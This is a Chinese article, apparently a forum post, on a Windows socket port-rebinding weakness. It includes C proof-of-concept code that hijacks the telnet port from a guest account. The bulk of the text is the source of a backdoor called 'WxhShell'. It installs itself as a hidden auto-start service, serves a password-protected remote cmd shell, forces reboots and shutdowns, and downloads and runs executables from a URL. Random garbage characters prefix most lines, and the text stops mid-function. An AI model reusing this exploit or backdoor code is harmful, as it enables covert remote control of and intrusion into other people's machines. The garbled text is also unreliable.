在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ER5Q` H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
qB]z"Hfq, dWD,iO_"@ saddr.sin_family = AF_INET;
h1K
3A5 Xk]5*C]6< saddr.sin_addr.s_addr = htonl(INADDR_ANY);
X@9_ukdpu 2k"a%#H8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p>K'6lCa :M|c,SQK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U3kf$nbV/J >o 3X) 这意味着什么?意味着可以进行如下的攻击:
P
xpz7He ' QT(TF> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=JO|m5z8> 4g\a$7r
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]vQo^nOo PBn(k>=+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(fh:q2E#
NFLmM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UUb!2sO S;ulJ*qv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#A]7cMZ'W bdaZ{5^{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(^a;2j9 L{^DZg|E 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pJa FPO..| 7R))(- #include
e,~c~Db*
Q #include
o,\%c"mC #include
V]k!] #include
|J(] DWORD WINAPI ClientThread(LPVOID lpParam);
mu"]B] int main()
.j}u'!LKul {
Rdt8jY6F/ WORD wVersionRequested;
;%dkwKO DWORD ret;
U%k e5uwP WSADATA wsaData;
`Q(ac|
0 BOOL val;
Q^MB%L;D SOCKADDR_IN saddr;
}lpcbm SOCKADDR_IN scaddr;
zo} SS[ int err;
Vg
\-^$ SOCKET s;
~BS*x+M SOCKET sc;
~iwEhF int caddsize;
AF3t#)q HANDLE mt;
M8cLh!! DWORD tid;
_"0n.JQg wVersionRequested = MAKEWORD( 2, 2 );
y\0^c5} err = WSAStartup( wVersionRequested, &wsaData );
t_]UseP$RF if ( err != 0 ) {
|!!E5osXq printf("error!WSAStartup failed!\n");
/mD KQ< return -1;
(sqS(xIY }
ljt1:@SN( saddr.sin_family = AF_INET;
3:Z(tM&-O m]"YR_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C4 Wdt ?sS'T7r
v saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-S,dG| saddr.sin_port = htons(23);
]LSa(7>EU if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
29qQ3M? {
uqQMS&;+,| printf("error!socket failed!\n");
JyB>,t) return -1;
bLV@Ts }
4uftx1o
val = TRUE;
t&P5Zw*B
//SO_REUSEADDR选项就是可以实现端口重绑定的
~:t2@z4p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
p\-.DRwT` {
oC7#6W:@w printf("error!setsockopt failed!\n");
_ZS<zQ' return -1;
t9`NCng
5 }
dhVwS$O ) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<}mT[;:" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@tj0Ir v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+]
5a(/m.~ _r8AO> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\clWrK {
so8-e ret=GetLastError();
rk. UW printf("error!bind failed!\n");
\FKIEg+(2 return -1;
6op\g].P }
RDqC$Gu listen(s,2);
/GeS(xzQ while(1)
ZDDwh&h {
+;!w;t caddsize = sizeof(scaddr);
WX=+\`NyJ( //接受连接请求
P)\f\yb sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
3\WES! if(sc!=INVALID_SOCKET)
F
5JgR-P {
"LxJPt\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
@2$8o]et if(mt==NULL)
}`M6+.z3F {
4xYo2X,B printf("Thread Creat Failed!\n");
<Ihn1? break;
<bjy<98LT }
.N'UnKz }
Q`s(T CloseHandle(mt);
*
;M?R?+ }
*ap#*}r!Nk closesocket(s);
[`b{eLCFX] WSACleanup();
VuBp$H(U return 0;
mPD'" }
uf>w* [m5 DWORD WINAPI ClientThread(LPVOID lpParam)
>L;O, {Px- {
Ucy9fM SOCKET ss = (SOCKET)lpParam;
;C{_T:LS SOCKET sc;
N-Z 9
unsigned char buf[4096];
p{,fWk SOCKADDR_IN saddr;
/<2_K4(-{4 long num;
0iB1_)~ DWORD val;
tQ|I$5jNJ DWORD ret;
mzw*6e2T //如果是隐藏端口应用的话,可以在此处加一些判断
h/k`+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
nSC>x:jY5/ saddr.sin_family = AF_INET;
X@G`AD'.M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Sh*P^i.]+ saddr.sin_port = htons(23);
8xv\Zj + if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o{hKt? {
i:$g1 printf("error!socket failed!\n");
Uy_=#&jg return -1;
"D/ fB%h` }
8`~]9ej val = 100;
4HHf3j!5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k^]~NP {
;i:7E#@ ret = GetLastError();
'
#mC4\<W8 return -1;
FV9RrI2 }
HkN +: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cs5Xd {
p~b$+8#+ ret = GetLastError();
aF=VJ+5 return -1;
o&O!Ur }
t(yv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CP'-CQ\Q {
Ygl!fC
4b printf("error!socket connect failed!\n");
DXGO-]!!0 closesocket(sc);
q ^gEA5 closesocket(ss);
1%+^SR72 return -1;
D5p22WY }
FN
R&
: while(1)
gkdjH8(2 {
o(zg_!P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L }mhMxOTi //如果是嗅探内容的话,可以再此处进行内容分析和记录
%Fv)$ :b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#? *jdN: num = recv(ss,buf,4096,0);
d0^2< if(num>0)
+x2xQ8#|~~ send(sc,buf,num,0);
P:vy else if(num==0)
O+N-x8W{ break;
<gy'@w? num = recv(sc,buf,4096,0);
0d2%CsMS"D if(num>0)
tFQFpbI send(ss,buf,num,0);
$3ILVT else if(num==0)
KOQTvJ_# break;
Bz{
g4!ku }
/b|sv$BN closesocket(ss);
xpk|?/6 closesocket(sc);
{;zPW!G return 0 ;
k
y98/6 }
c>Se Onf ;GAYcVB 2$91+N*w9 ==========================================================
1rEP)66N Xwi&uyvU& 下边附上一个代码,,WXhSHELL
9PAp*`J@kr UPYM~c+} ==========================================================
bqO"k t Kf4z*5Veqr #include "stdafx.h"
!iw
'tHhR ^~ Sn{esA #include <stdio.h>
"ir*;| #include <string.h>
EHZSM5hu #include <windows.h>
"Tv7*3> #include <winsock2.h>
~-+Zu< #include <winsvc.h>
qo;\dp1 #include <urlmon.h>
8(}sZ)6 *`#,^p`j
b #pragma comment (lib, "Ws2_32.lib")
TRZ^$<AG #pragma comment (lib, "urlmon.lib")
vF&b|V+, Nz;;X\GI #define MAX_USER 100 // 最大客户端连接数
n1Jz49[r #define BUF_SOCK 200 // sock buffer
U6Ak" #define KEY_BUFF 255 // 输入 buffer
ThxrhQ
q[+ &; \v_5N6 #define REBOOT 0 // 重启
v,&2!Zv #define SHUTDOWN 1 // 关机
sFQ|lU" n b5Pn|5AVj #define DEF_PORT 5000 // 监听端口
Q6K)EwN U\ued=H #define REG_LEN 16 // 注册表键长度
F
4/Uu"J: #define SVC_LEN 80 // NT服务名长度
8; 8}Oq d3GK.8y_z // 从dll定义API
meR2"JN' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MlFvDy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
jGn^<T\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n lW&(cH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0, /x# 3U)8P6Fz // wxhshell配置信息
"tM/`:Qp struct WSCFG {
Be+:-t) int ws_port; // 监听端口
\0h/~3 char ws_passstr[REG_LEN]; // 口令
kP$gl| int ws_autoins; // 安装标记, 1=yes 0=no
9f,:j char ws_regname[REG_LEN]; // 注册表键名
YW<2:1A| char ws_svcname[REG_LEN]; // 服务名
F6p1 VFs char ws_svcdisp[SVC_LEN]; // 服务显示名
{%{GZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
cAS_?"V
a char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0K ?(xB int ws_downexe; // 下载执行标记, 1=yes 0=no
sFK<:ka char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DOe KW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y6}):| SK52.xXJ };
4Z}{hc\J F/sBr7I // default Wxhshell configuration
s? k[_|)! struct WSCFG wscfg={DEF_PORT,
"44?n <1 "xuhuanlingzhe",
&J$5+"/;X 1,
Wi^rnr'Ss "Wxhshell",
pm\X*t}L "Wxhshell",
}eM<A$J "WxhShell Service",
moR2iyO_ "Wrsky Windows CmdShell Service",
Ib!rf: "Please Input Your Password: ",
RWFf-VA? 1,
G:`Jrh "
http://www.wrsky.com/wxhshell.exe",
D}sGBsOW "Wxhshell.exe"
zF&UdS3 };
*GP_ut% GDp p`'\ // 消息定义模块
!T#y r) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p^P y, char *msg_ws_prompt="\n\r? for help\n\r#>";
OPW"ABJ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,<b|@1\k char *msg_ws_ext="\n\rExit.";
_~Vz+nT char *msg_ws_end="\n\rQuit.";
(PcK(C!}=\ char *msg_ws_boot="\n\rReboot...";
493i*j5r)l char *msg_ws_poff="\n\rShutdown...";
4iqmi<[(" char *msg_ws_down="\n\rSave to ";
Z4ioXl k &iDJt char *msg_ws_err="\n\rErr!";
MdZgS#` char *msg_ws_ok="\n\rOK!";
dM{~Ubb DA`sm char ExeFile[MAX_PATH];
#G` , int nUser = 0;
aLt{X)? HANDLE handles[MAX_USER];
}Xj_Y]T int OsIsNt;
xc.D!Iav 9ox|.68q SERVICE_STATUS serviceStatus;
'%C.([ SERVICE_STATUS_HANDLE hServiceStatusHandle;
4UjE*Aq g)qnjeSs] // 函数声明
^85n9a?8 int Install(void);
orH0M!OtS! int Uninstall(void);
ApYud?0b int DownloadFile(char *sURL, SOCKET wsh);
Cfo 8gX* int Boot(int flag);
$'YKB8C void HideProc(void);
WwtE=od int GetOsVer(void);
zK4
8vo int Wxhshell(SOCKET wsl);
bDBO+qA void TalkWithClient(void *cs);
7G(f1Y int CmdShell(SOCKET sock);
Y{vwOs int StartFromService(void);
r/hyW6e_ int StartWxhshell(LPSTR lpCmdLine);
DnsP7k.8T An #Hb= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ywynx<Wg VOID WINAPI NTServiceHandler( DWORD fdwControl );
)S}; k=kG )9L pX // 数据结构和表定义
m+2`"1IE[ SERVICE_TABLE_ENTRY DispatchTable[] =
$>"e\L4Kp {
D`:d'ow~KQ {wscfg.ws_svcname, NTServiceMain},
<o!&Kk 9 {NULL, NULL}
cPsn]U };
Ldhk^/+ AXP`,H // 自我安装
wp%FM int Install(void)
3
t8 8AN=4 {
(s$u_aq77 char svExeFile[MAX_PATH];
ct}%Mdg HKEY key;
KU|BT.o8 strcpy(svExeFile,ExeFile);
}PQSCl^I (y~laW! // 如果是win9x系统,修改注册表设为自启动
h!G^dW. if(!OsIsNt) {
mPfUJ#rS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Bug}^t{M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U M( l% RegCloseKey(key);
w^])( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J,0pe\5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wY3|#P
CDV RegCloseKey(key);
,<$YVXe/ return 0;
w3=)S\ }
O~h94 B` }
Ln=>@ }
cK[R1 ReH else {
J0Hm)* s~LZOPN // 如果是NT以上系统,安装为系统服务
ZD)0P=% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4@v1jJj if (schSCManager!=0)
"*w)puD {
\f/#<|Hm SC_HANDLE schService = CreateService
\5Vp6^ (
"7kge z#Y schSCManager,
Nmp>UE,7[ wscfg.ws_svcname,
5#0A`QO wscfg.ws_svcdisp,
$N;"}Gz SERVICE_ALL_ACCESS,
+urS5c*
j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g\o{}Q%X SERVICE_AUTO_START,
xd^&_P$= SERVICE_ERROR_NORMAL,
'Aj(i/CM svExeFile,
z;dcAdz9 NULL,
jCTy:q] NULL,
u0XP(dH NULL,
XogvtK* NULL,
d"H<e}D NULL
*o02!EYge );
^\M
dl if (schService!=0)
:1aL9 fT {
.pZ o(* CloseServiceHandle(schService);
(R_CUH CloseServiceHandle(schSCManager);
atY*8I| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rH9uGm-* strcat(svExeFile,wscfg.ws_svcname);
)A="eW_> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Ia=_78MgZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
!0Idp% RegCloseKey(key);
\F 3C=M@: return 0;
f.||PH }
M^z=1YrMd }
g<fDY6jt CloseServiceHandle(schSCManager);
:T_'n, }
%_R$K#T^, }
`#ul,% QU:EY'2 return 1;
RcgRaQ2^ }
[%)@|^hw91 Q0pzW:=s] // 自我卸载
<tFSF%vG= int Uninstall(void)
|~SE" {
/xcJo g~F, HKEY key;
N~;*bvW{ dM Y
0 K if(!OsIsNt) {
|/VL35b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*p=fi RegDeleteValue(key,wscfg.ws_regname);
)ZGYhE RegCloseKey(key);
2B-.}OJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`gt:gx>a RegDeleteValue(key,wscfg.ws_regname);
bFg*l$`5 RegCloseKey(key);
0<g<GQ(E return 0;
, jy<o+! }
M;*$gV<x }
GuT6K}~|D }
X~lZ OVmS else {
#e/2C T|ZF/&XP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{LP
b)) if (schSCManager!=0)
AH^e]<2- {
eOt%x Tx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Jen%}\ if (schService!=0)
PWvSbn6 {
VJDoH if(DeleteService(schService)!=0) {
v
dU%R\ CloseServiceHandle(schService);
a9=> r CloseServiceHandle(schSCManager);
8lwFAiC8 return 0;
h3kaD }
CM9 XPr CloseServiceHandle(schService);
|QVr`tE< }
U/Wrh($ #4 CloseServiceHandle(schSCManager);
-/>9c-F }
"V4Q2T
T }
T7{<arL$ cGNvEM(4AV return 1;
Q"%S~' }
qe$33f* j$Nf%V 6Y // 从指定url下载文件
(S|a 9# int DownloadFile(char *sURL, SOCKET wsh)
(YwalfG {C {
R2rsJ HRESULT hr;
g:_hj_1Y M char seps[]= "/";
;1 |x char *token;
~^&R#4J char *file;
II;Te7~ char myURL[MAX_PATH];
~.Cv
DJy char myFILE[MAX_PATH];
@RGDhwS47 CbOCk:,g5 strcpy(myURL,sURL);
Stxp3\jEn token=strtok(myURL,seps);
q\Rq!7( while(token!=NULL)
#{$1z;i?f {
sw$2d file=token;
H\E7o"m token=strtok(NULL,seps);
%X>FVlPm }
gO='A(Y WULAty GetCurrentDirectory(MAX_PATH,myFILE);
=A@>I0(7 strcat(myFILE, "\\");
vT c7an6fy strcat(myFILE, file);
YLOwQj' send(wsh,myFILE,strlen(myFILE),0);
nIn2 *r send(wsh,"...",3,0);
R`#W wx>b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N}b^fTq if(hr==S_OK)
:"QfF@Z{ return 0;
uvnI>gv else
r|GY]9 return 1;
W;zpt|kAH XA<ozq' }
XJgh>^R^ h?Nek+1' // 系统电源模块
rkDi+D6`q int Boot(int flag)
u7s"0f` {
+-BwQ{92[: HANDLE hToken;
(}smW_`5 TOKEN_PRIVILEGES tkp;
[Atc "X$ Fi2xr<7" if(OsIsNt) {
E!J=8C.: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8#X_# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
PLA#!$c7q tkp.PrivilegeCount = 1;
_c2WqQ-05 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
`G!M>h@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gCuAF$o if(flag==REBOOT) {
Qz,|mo+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Wd8Ru/ return 0;
sw;|'N$:< }
&!L:"]=+ else {
8{0k0 &x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pKT2^Q}-h return 0;
]Gv!M?: }
Kqg!,Sn| }
6na^]t~ncm else {
TL0[@rr4 if(flag==REBOOT) {
Ws I>n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
};,/0Fu return 0;
XNehPZYS }
C <B<o[:H else {
$,fy$
Qk,S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L',mKOej return 0;
,Na^%A@TJ }
i"r!w|j }
65TfFcQ<S &GhPvrxI? return 1;
CnISe^h }
uw AwWgl G[,Q95`w?< // win9x进程隐藏模块
X~oK[Nf'9 void HideProc(void)
ik.A1j9oN {
vLT0ETHg6 ZnW@YC#9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W*N$'% if ( hKernel != NULL )
IH9.F {
lg$zGa? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d0'HDVd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<S?#@F\"S FreeLibrary(hKernel);
[?k8}B)mHB }
o-C#|t3hH @7oL#- return;
p{D4"Qn+P9 }
_;
Y` T/1gI9X // 获取操作系统版本
3g~'5Ao int GetOsVer(void)
4_/?:$KO {
#V,R >0" OSVERSIONINFO winfo;
K/=|8+IDL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"Gb1K9A
im GetVersionEx(&winfo);
KNLnn;l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zfA
GtT< return 1;
a^U~0i@[S else
~;]W T return 0;
nkfZiyx }
l{j~Q^U}) f+_h !j // 客户端句柄模块
Z?5V4F:f int Wxhshell(SOCKET wsl)
=O).Lx2J {
"A$!,
PX6 SOCKET wsh;
t. ='/`!N struct sockaddr_in client;
jho**TQ P DWORD myID;
Om;&_!i !%)F J:p while(nUser<MAX_USER)
$D'-k]E[H {
(Qo I<j"" int nSize=sizeof(client);
ZyrI R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&-d&t` ` if(wsh==INVALID_SOCKET) return 1;
u&mS8i} @a:>$t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wMqX)}> if(handles[nUser]==0)
?iI4x%y closesocket(wsh);
eqw0]U\pv else
a`[uNgDO nUser++;
a2'^8;U*_ }
L|P5=/d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^.dsW0"0 &|3
$!S return 0;
uN([*'0Cg }
ZOCDA2e(j }XO K,Hw // 关闭 socket
0Z[oKXm1p void CloseIt(SOCKET wsh)
]vWKR."4 {
VXIP0p@ closesocket(wsh);
z|EEVNFd& nUser--;
AV9m_hZt ExitThread(0);
|KSy`lY-j> }
1cS}J:0P 8>,jpAN}r // 客户端请求句柄
(q+)'H%iK void TalkWithClient(void *cs)
OxI/%yv-c {
QnZcBXI8 |7yAX+ SOCKET wsh=(SOCKET)cs;
P9g en6 char pwd[SVC_LEN];
V=:'SL*3| char cmd[KEY_BUFF];
&wD;SMr< char chr[1];
o(DOQ Gl int i,j;
h 3]wL.V I)A`)5="5 while (nUser < MAX_USER) {
n2)q}_d 3s/H2fz if(wscfg.ws_passstr) {
; ;L[e]Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1
$/%m_t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}:X*7 n(& //ZeroMemory(pwd,KEY_BUFF);
kY*rb_2j i=0;
}VS5gxI1. while(i<SVC_LEN) {
K+;e4_\ q#<^ ^4U // 设置超时
0 stc9_O fd_set FdRead;
9E>xIJ@J2T struct timeval TimeOut;
='`/BY(m[ FD_ZERO(&FdRead);
O8B\{T1 FD_SET(wsh,&FdRead);
&f^, la TimeOut.tv_sec=8;
\"X!2 TimeOut.tv_usec=0;
bGc~Wr| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Vx~,Uex0+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b0lq\9 $2W%2rZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(p2K36,9m pwd
=chr[0]; 7;KwLT 9
if(chr[0]==0xd || chr[0]==0xa) { anXc|
pwd=0; 0g0i4IV
break; ;W>k@L
} l
c+g&f
i++; 9 FB19
} -r-k_6QP
^J$2?!~
// 如果是非法用户,关闭 socket R8ZK]5{o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); spt6]"Ni
} KXx32 b,~
e" St_z(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j'A_'g'^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y;?{|
_lamn}(x0
while(1) { V5UF3'3;}
!\7!3$w'8,
ZeroMemory(cmd,KEY_BUFF); ogyTO|V=
Vh_P/C+
// 自动支持客户端 telnet标准 19w*!FGX
j=0; 7Zlw^'q$:L
while(j<KEY_BUFF) { wK?vPS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tj:B!>>
cmd[j]=chr[0]; |S_eDjF
if(chr[0]==0xa || chr[0]==0xd) { -[cTx[Z,
cmd[j]=0; HMSO=)@+
break; Qk:Y2mL
} 8fl`r~bqZ
j++; wne,e's}
} LDPUD'
kqFP)!37
// 下载文件 G3Z)Z)N
if(strstr(cmd,"http://")) { }H^+A77v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W"k"IvTW}
if(DownloadFile(cmd,wsh)) sS*3=Yh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |olA9mp|]
else U/!TKic+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z&1\{PG3*
} .+$Q<L
else { 45@^L's
GPN]9
switch(cmd[0]) { AE[b},-[
\NPmym_6J
// 帮助 hgPa6Kd
case '?': { ;r<^a6B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q'=x|K#xj
break; !|^|,"A)
} 0XE4<U
// 安装 ,Lr.9I.
case 'i': { ~%<X0s|
if(Install()) ssfr}fzH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <:+ x+4ru
else d;boIP`M;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~vm%6CABM
break;
akp-zn&je
} ^aItoJq
// 卸载 (ZUHvvL
case 'r': { gb[5&>(#
if(Uninstall()) +%<(E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mE+*)gb:Rd
else (KjoSN(
K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+Np4i@
break; 'OITI TM
} f,U.7E
// 显示 wxhshell 所在路径 PxvyN_B#>
case 'p': { {'7B6
char svExeFile[MAX_PATH]; $*^7iT4q_t
strcpy(svExeFile,"\n\r"); 8'HEms
strcat(svExeFile,ExeFile); }|h# \$w
send(wsh,svExeFile,strlen(svExeFile),0); )1?y 8_B
break; 0yk]o5a++
} 9 P l
// 重启 >^u2cAi3[
case 'b': { 01 }D,W`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c[0}AGJ
if(Boot(REBOOT)) =9H7N]*h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5AFJC?
else { (p" %O
closesocket(wsh); ; 5*&xz
ExitThread(0); q`Go`v
} 0{5w 6
break; /:cd\A}
} OAgniLv
// 关机 XY5K%dMU
case 'd': { )HEa<P^kJl
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >xN
.F/[K
if(Boot(SHUTDOWN)) fBU`k_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `}p0VmD{NE
else { \;,_S+Fz8
closesocket(wsh); t*p71U4+I
ExitThread(0); s
n8Qk=K
} sU=H&D99
break; &sl0W-;0
} p/ ,=OaVU
// 获取shell dB{Q"!
case 's': { 6,pnw
CmdShell(wsh); b!+hH Hv:
closesocket(wsh); B`EJb71^Xy
ExitThread(0); 4VHn \
break; W~)}xy
} T~-ycVc
// 退出 &j;wCvE4+
case 'x': { |44Ploz2b
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aEB_#1
CloseIt(wsh); +V2F#fI/
break; \P[Y`LYL
} ."g`3tVK
// 离开 QL(n} {.%
case 'q': { RTYvS5G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !M(xG%M-V
closesocket(wsh); ~-k9%v`
WSACleanup(); W" scV@HKu
exit(1); IYv`IS"
break; 7P} W
*
} (&r.w
} MxKS4k
} 7^avpf)>
,KH#NY]
// 提示信息 Q3'llOx
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !t"4!3
} Z{*\S0^ST
} 7g^]:3f!
XPc^Tq
return; Lj({[H7D!
} PI {bmZ
}{Pp]*I<A
// shell模块句柄 -OV&Md:~
int CmdShell(SOCKET sock) gb1V~
{ 2Ah#<k-gC;
STARTUPINFO si; {p2!|A&a
ZeroMemory(&si,sizeof(si)); +|3@=.V
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t9lPb_70
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FaAC&F@u
PROCESS_INFORMATION ProcessInfo; MpT8" /.]A
char cmdline[]="cmd"; Q0sI(V#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hgG9m[?K
return 0; :
$1?i)
} 8S
TvCH"Z_
"x0^#AVg
// 自身启动模式 b/K PaNv
int StartFromService(void) z(O Nv#}p
{ [jQp~&nY
typedef struct &u."A3(
{ `7E;VL^Y1
DWORD ExitStatus; T=DbBy0-
